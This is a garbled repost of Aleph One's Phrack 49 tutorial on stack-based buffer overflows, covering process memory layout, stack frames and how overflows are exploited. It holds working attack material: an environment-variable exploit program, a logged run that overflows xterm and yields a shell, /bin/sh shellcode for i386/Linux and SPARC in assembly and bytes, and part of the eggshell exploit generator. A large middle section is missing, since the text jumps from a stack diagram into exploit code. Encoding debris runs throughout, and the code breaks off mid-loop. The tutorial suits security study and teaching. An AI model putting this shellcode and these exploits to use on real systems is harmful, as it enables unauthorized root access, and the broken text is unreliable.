Smashing The Stack For Fun And Profit

类别:编程语言 点击:0 评论:0 推荐:
.oO Phrack 49 Oo.

????????????????????????? Volume Seven, Issue Forty-Nine
????????????????????????????????????
????????????????????????????????? File 14 of 16

????????????????????? BugTraq, r00t, and Underground.Org
?????????????????????????????????? bring you

???????????????????? XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
???????????????????? Smashing The Stack For Fun And Profit
???????????????????? XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

???????????????????????????????? by Aleph One
???????????????????????????? [email protected]

`smash the stack` [C programming] n. On many C implementations
it is possible to corrupt the execution stack by writing past
the end of an array declared auto in a routine.? Code that does
this is said to smash the stack, and can cause return from the
routine to jump to a random address.? This can produce some of
the most insidious data-dependent bugs known to mankind.
Variants include trash the stack, scribble the stack, mangle
the stack; the term mung the stack is not used, as this is
never done intentionally. See spam; see also alias bug,
fandango on core, memory leak, precedence lossage, overrun screw.


???????????????????????????????? Introduction
???????????????????????????????? ~~~~~~~~~~~~

?? Over the last few months there has been a large increase of buffer
overflow vulnerabilities being both discovered and exploited.? Examples
of these are syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt
library, at, etc.? This paper attempts to explain what buffer overflows
are, and how their exploits work.

?? Basic knowledge of assembly is required.? An understanding of virtual
memory concepts, and experience with gdb are very helpful but not necessary.
We also assume we are working with an Intel x86 CPU, and that the operating
system is Linux.

?? Some basic definitions before we begin: A buffer is simply a contiguous
block of computer memory that holds multiple instances of the same data
type.? C programmers normally associate with the word buffer arrays. Most
commonly, character arrays.? Arrays, like all variables in C, can be
declared either static or dynamic.? Static variables are allocated at load
time on the data segment.? Dynamic variables are allocated at run time on
the stack. To overflow is to flow, or fill over the top, brims, or bounds.
We will concern ourselves only with the overflow of dynamic buffers, otherwise
known as stack-based buffer overflows.


????????????????????????? Process Memory Organization
????????????????????????? ~~~~~~~~~~~~~~~~~~~~~~~~~~~

?? To understand what stack buffers are we must first understand how a
process is organized in memory.? Processes are divided into three regions:
Text, Data, and Stack.? We will concentrate on the stack region, but first
a small overview of the other regions is in order.

?? The text region is fixed by the program and includes code (instructions)
and read-only data.? This region corresponds to the text section of the
executable file.? This region is normally marked read-only and any attempt to
write to it will result in a segmentation violation.

?? The data region contains initialized and uninitialized data.? Static
variables are stored in this region.? The data region corresponds to the
data-bss sections of the executable file.? Its size can be changed with the
brk(2) system call.? If the expansion of the bss data or the user stack
exhausts available memory, the process is blocked and is rescheduled to
run again with a larger memory space. New memory is added between the data
and stack segments.

???????????????????????????? /------------------\? lower
???????????????????????????? |????????????????? |? memory
???????????????????????????? |?????? Text?????? |? addresses
???????????????????????????? |????????????????? |
???????????????????????????? |------------------|
???????????????????????????? |?? (Initialized)? |
???????????????????????????? |??????? Data????? |
???????????????????????????? |? (Uninitialized) |
???????????????????????????? |------------------|
???????????????????????????? |????????????????? |
???????????????????????????? |?????? Stack????? |? higher
???????????????????????????? |????????????????? |? memory
???????????????????????????? \------------------/? addresses

???????????????????????? Fig. 1 Process Memory Regions


?????????????????????????????? What Is A Stack?
?????????????????????????????? ~~~~~~~~~~~~~~~~

?? A stack is an abstract data type frequently used in computer science.? A
stack of objects has the property that the last object placed on the stack
will be the first object removed.? This property is commonly referred to as
last in, first out queue, or a LIFO.

?? Several operations are defined on stacks.? Two of the most important are
PUSH and POP.? PUSH adds an element at the top of the stack.? POP, in
contrast, reduces the stack size by one by removing the last element at the
top of the stack.


??????????????????????????? Why Do We Use A Stack?
??????????????????????????? ~~~~~~~~~~~~~~~~~~~~~~

?? Modern computers are designed with the need of high-level languages in
mind.? The most important technique for structuring programs introduced by
high-level languages is the procedure or function.? From one point of view, a
procedure call alters the flow of control just as a jump does, but unlike a
jump, when finished performing its task, a function returns control to the
statement or instruction following the call.? This high-level abstraction
is implemented with the help of the stack.

? The stack is also used to dynamically allocate the local variables used in
functions, to pass parameters to the functions, and to return values from the
function.


?????????????????????????????? The Stack Region
?????????????????????????????? ~~~~~~~~~~~~~~~~

?? A stack is a contiguous block of memory containing data.? A register called
the stack pointer (SP) points to the top of the stack.? The bottom of the
stack is at a fixed address.? Its size is dynamically adjusted by the kernel
at run time. The CPU implements instructions to PUSH onto and POP off of the
stack.

?? The stack consists of logical stack frames that are pushed when calling a
function and popped when returning.? A stack frame contains the parameters to
a function, its local variables, and the data necessary to recover the
previous stack frame, including the value of the instruction pointer at the
time of the function call.

?? Depending on the implementation the stack will either grow down (towards
lower memory addresses), or up.? In our examples we'll use a stack that grows
down.? This is the way the stack grows on many computers including the Intel,
Motorola, SPARC and MIPS processors.? The stack pointer (SP) is also
implementation dependent.? It may point to the last address on the stack, or
to the next free available address after the stack.? For our discussion we'll
assume it points to the last address on the stack.

?? In addition to the stack pointer, which points to the top of the stack
(lowest numerical address), it is often convenient to have a frame pointer
(FP) which points to a fixed location within a frame.? Some texts also refer
to it as a local base pointer (LB).? In principle, local variables could be
referenced by giving their offsets from SP.? However, as words are pushed onto
the stack and popped from the stack, these offsets change.? Although in some
cases the compiler can keep track of the number of words on the stack and
thus correct the offsets, in some cases it cannot, and in all cases
considerable administration is required.? Futhermore, on some machines, such
as Intel-based processors, accessing a variable at a known distance from SP
requires multiple instructions.

?? Consequently, many compilers use a second register, FP, for referencing
both local variables and parameters because their distances from FP do
not change with PUSHes and POPs.? On Intel CPUs, BP (EBP) is used for this
purpose.? On the Motorola CPUs, any address register except A7 (the stack
pointer) will do.? Because the way our stack grows, actual parameters have
positive offsets and local variables have negative offsets from FP.

?? The first thing a procedure must do when called is save the previous FP
(so it can be restored at procedure exit).? Then it copies SP into FP to
create the new FP, and advances SP to reserve space for the local variables.
This code is called the procedure prolog.? Upon procedure exit, the stack
must be cleaned up again, something called the procedure epilog.? The Intel
ENTER and LEAVE instructions and the Motorola LINK and UNLINK instructions,
have been provided to do most of the procedure prolog and epilog work
efficiently.

?? Let us see what the stack looks like in a simple example:

example1.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
?? char buffer1[5];
?? char buffer2[10];
}

void main() {
? function(1,2,3);
}
------------------------------------------------------------------------------

?? To understand what the program does to call function() we compile it with
gcc using the -S switch to generate assembly code output:

$ gcc -S -o example1.s example1.c

?? By looking at the assembly language output we see that the call to
function() is translated to:

??????? pushl $3
??????? pushl $2
??????? pushl $1
??????? call function

??? This pushes the 3 arguments to function backwards into the stack, and
calls function().? The instruction 'call' will push the instruction pointer
(IP) onto the stack.? We'll call the saved IP the return address (RET).? The
first thing done in function is the procedure prolog:

??????? pushl %ebp
??????? movl %esp,%ebp
??????? subl $20,%esp

?? This pushes EBP, the frame pointer, onto the stack.? It then copies the
current SP onto EBP, making it the new FP pointer.? We'll call the saved FP
pointer SFP.? It then allocates space for the local variables by subtracting
their size from SP.

?? We must remember that memory can only be addressed in multiples of the
word size.? A word in our case is 4 bytes, or 32 bits.? So our 5 byte buffer
is really going to take 8 bytes (2 words) of memory, and our 10 byte buffer
is going to take 12 bytes (3 words) of memory.? That is why SP is being
subtracted by 20.? With that in mind our stack looks like this when
function() is called (each space represents a byte):


bottom of??????????????????????????????????????????????????????????? top of
memory?????????????????????????????????????????????????????????????? memory
?????????? buffer2?????? buffer1?? sfp?? ret?? a???? b???? c
1) bsize?? = atoi(argv[1]);
? if (argc > 2) offset? = atoi(argv[2]);
? if (argc > 3) eggsize = atoi(argv[3]);


? if (!(buff = malloc(bsize))) {
??? printf("Can't allocate memory.\n");
??? exit(0);
? }
? if (!(egg = malloc(eggsize))) {
??? printf("Can't allocate memory.\n");
??? exit(0);
? }

? addr = get_esp() - offset;
? printf("Using address: 0x%x\n", addr);

? ptr = buff;
? addr_ptr = (long *) ptr;
? for (i = 0; i < bsize; i+=4)
??? *(addr_ptr++) = addr;

? ptr = egg;
? for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
??? *(ptr++) = NOP;

? for (i = 0; i < strlen(shellcode); i++)
??? *(ptr++) = shellcode[i];

? buff[bsize - 1] = '\0';
? egg[eggsize - 1] = '\0';

? memcpy(egg,"EGG=",4);
? putenv(egg);
? memcpy(buff,"RET=",4);
? putenv(buff);
? system("/bin/bash");
}
------------------------------------------------------------------------------

?? Lets try our new exploit with our vulnerable test program:

------------------------------------------------------------------------------
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
------------------------------------------------------------------------------

?? Works like a charm. Now lets try it on xterm:

------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET
Warning: Color name
"°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤








ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°








¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿








°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ








¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤








ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°








¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿








°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ








¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤








ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿ¿°¤ÿÿ¿°¤ÿ¿








°¤ÿ¿°¤ÿ¿°¤
Warning: some arguments in previous message were lost
$
------------------------------------------------------------------------------

?? On the first try!? It has certainly increased our odds.? Depending how
much environment data the exploit program has compared with the program
you are trying to exploit the guessed address may be to low or to high.
Experiment both with positive and negative offsets.


????????????????????????????? Finding Buffer Overflows
????????????????????????????? ~~~~~~~~~~~~~~~~~~~~~~~~

?? As stated earlier, buffer overflows are the result of stuffing more
information into a buffer than it is meant to hold.? Since C does not have any
built-in bounds checking, overflows often manifest themselves as writing past
the end of a character array.? The standard C library provides a number of
functions for copying or appending strings, that perform no boundary checking.
They include: strcat(), strcpy(), sprintf(), and vsprintf(). These functions
operate on null-terminated strings, and do not check for overflow of the
receiving string.? gets() is a function that reads a line from stdin into
a buffer until either a terminating newline or EOF.? It performs no checks for
buffer overflows.? The scanf() family of functions can also be a problem if
you are matching a sequence of non-white-space characters (%s), or matching a
non-empty sequence of characters from a specified set (%[]), and the array
pointed to by the char pointer, is not large enough to accept the whole
sequence of characters, and you have not defined the optional maximum field
width.? If the target of any of these functions is a buffer of static size,
and its other argument was somehow derived from user input there is a good
posibility that you might be able to exploit a buffer overflow.

?? Another usual programming construct we find is the use of a while loop to
read one character at a time into a buffer from stdin or some file until the
end of line, end of file, or some other delimiter is reached.? This type of
construct usually uses one of these functions: getc(), fgetc(), or getchar().
If there is no explicit checks for overflows in the while loop, such programs
are easily exploited.

?? To conclude, grep(1) is your friend.? The sources for free operating
systems and their utilities is readily available.? This fact becomes quite
interesting once you realize that many comercial operating systems utilities
where derived from the same sources as the free ones.? Use the source d00d.


???? Appendix A - Shellcode for Different Operating Systems/Architectures
???? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

i386/Linux
------------------------------------------------------------------------------
??????? jmp??? 0x1f
??????? popl?? %esi
??????? movl?? %esi,0x8(%esi)
??????? xorl?? %eax,%eax
movb?? %eax,0x7(%esi)
??????? movl?? %eax,0xc(%esi)
??????? movb?? $0xb,%al
??????? movl?? %esi,%ebx
??????? leal?? 0x8(%esi),%ecx
??????? leal?? 0xc(%esi),%edx
??????? int??? $0x80
??????? xorl?? %ebx,%ebx
??????? movl?? %ebx,%eax
??????? inc??? %eax
??????? int??? $0x80
??????? call?? -0x24
??????? .string \"/bin/sh\"
------------------------------------------------------------------------------

SPARC/Solaris
------------------------------------------------------------------------------
??????? sethi?? 0xbd89a, %l6
??????? or????? %l6, 0x16e, %l6
??????? sethi?? 0xbdcda, %l7
??????? and???? %sp, %sp, %o0
??????? add???? %sp, 8, %o1
??????? xor???? %o2, %o2, %o2
??????? add???? %sp, 16, %sp
??????? std???? %l6, [%sp - 16]
??????? st????? %sp, [%sp - 8]
??????? st????? %g0, [%sp - 4]
??????? mov???? 0x3b, %g1
??????? ta????? 8
??????? xor???? %o7, %o7, %o0
??????? mov???? 1, %g1
??????? ta????? 8
------------------------------------------------------------------------------

SPARC/SunOS
------------------------------------------------------------------------------
??????? sethi?? 0xbd89a, %l6
??????? or????? %l6, 0x16e, %l6
??????? sethi?? 0xbdcda, %l7
??????? and???? %sp, %sp, %o0
??????? add???? %sp, 8, %o1
??????? xor???? %o2, %o2, %o2
??????? add???? %sp, 16, %sp
??????? std???? %l6, [%sp - 16]
??????? st????? %sp, [%sp - 8]
??????? st????? %g0, [%sp - 4]
??????? mov???? 0x3b, %g1
mov -0x1, %l5
??????? ta????? %l5 + 1
??????? xor???? %o7, %o7, %o0
??????? mov???? 1, %g1
??????? ta????? %l5 + 1
------------------------------------------------------------------------------


???????????????? Appendix B - Generic Buffer Overflow Program
???????????????? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

shellcode.h
------------------------------------------------------------------------------
#if defined(__i386__) && defined(__linux__)

#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
? "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
? "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
? "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
?? __asm__("movl %esp,%eax");
}

#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)

#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
? "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
? "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
? "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
? "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

unsigned long get_sp(void) {
? __asm__("or %sp, %sp, %i0");
}

#elif defined(__sparc__) && defined(__sun__)

#define NOP_SIZE??????? 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
? "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
? "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
? "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
? "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";

unsigned long get_sp(void) {
? __asm__("or %sp, %sp, %i0");
}

#endif
------------------------------------------------------------------------------

eggshell.c
------------------------------------------------------------------------------
/*
* eggshell v1.0
*
* Aleph One / [email protected]
*/
#include
#include
#include "shellcode.h"

#define DEFAULT_OFFSET??????????????????? 0
#define DEFAULT_BUFFER_SIZE???????????? 512
#define DEFAULT_EGG_SIZE?????????????? 2048

void usage(void);

void main(int argc, char *argv[]) {
? char *ptr, *bof, *egg;
? long *addr_ptr, addr;
? int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
? int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;

? while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
??? switch (c) {
????? case 'a':
??????? align = atoi(optarg);
??????? break;
????? case 'b':
??????? bsize = atoi(optarg);
??????? break;
????? case 'e':
??????? eggsize = atoi(optarg);
??????? break;
????? case 'o':
??????? offset = atoi(optarg);
??????? break;
????? case '?':
??????? usage();
??????? exit(0);
??? }

? if (strlen(shellcode) > eggsize) {
??? printf("Shellcode is larger the the egg.\n");
??? exit(0);
? }

? if (!(bof = malloc(bsize))) {
??? printf("Can't allocate memory.\n");
??? exit(0);
? }
? if (!(egg = malloc(eggsize))) {
??? printf("Can't allocate memory.\n");
??? exit(0);
? }

? addr = get_sp() - offset;
? printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
??? bsize, eggsize, align);
? printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);

? addr_ptr = (long *) bof;
? for (i = 0; i < bsize; i+=4)
??? *(addr_ptr++) = addr;

? ptr = egg;
? for (i = 0; i

本文地址:http://com.8s8s.com/it/it28345.htm